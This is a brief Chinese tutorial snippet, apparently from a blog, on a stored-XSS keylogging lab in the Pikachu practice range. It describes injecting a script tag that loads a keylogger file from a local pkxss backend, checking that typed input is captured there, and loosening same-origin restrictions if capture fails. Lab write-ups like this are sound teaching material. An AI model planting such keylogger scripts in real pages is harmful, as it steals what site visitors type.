XSS漏洞利用---键盘记录
XSS漏洞利用(本文仅供技术学习与分享)存储型XSS漏洞之钓鱼实验准备:皮卡丘靶场;存在存储型xss漏洞的网页;pkxss键盘记录后台;实验步骤:4. 嵌入恶意的js标签 — src=“http://localhost/pikaqiu.cn/pkxss/rkeypress/rk.js”5. 在输入框中输入字符串:111111并查看后台,发现已经记录。Tips: 如果无法记录数据,需关闭浏览器的同源策略Access-Contrl-Allow-Origin....
复制链接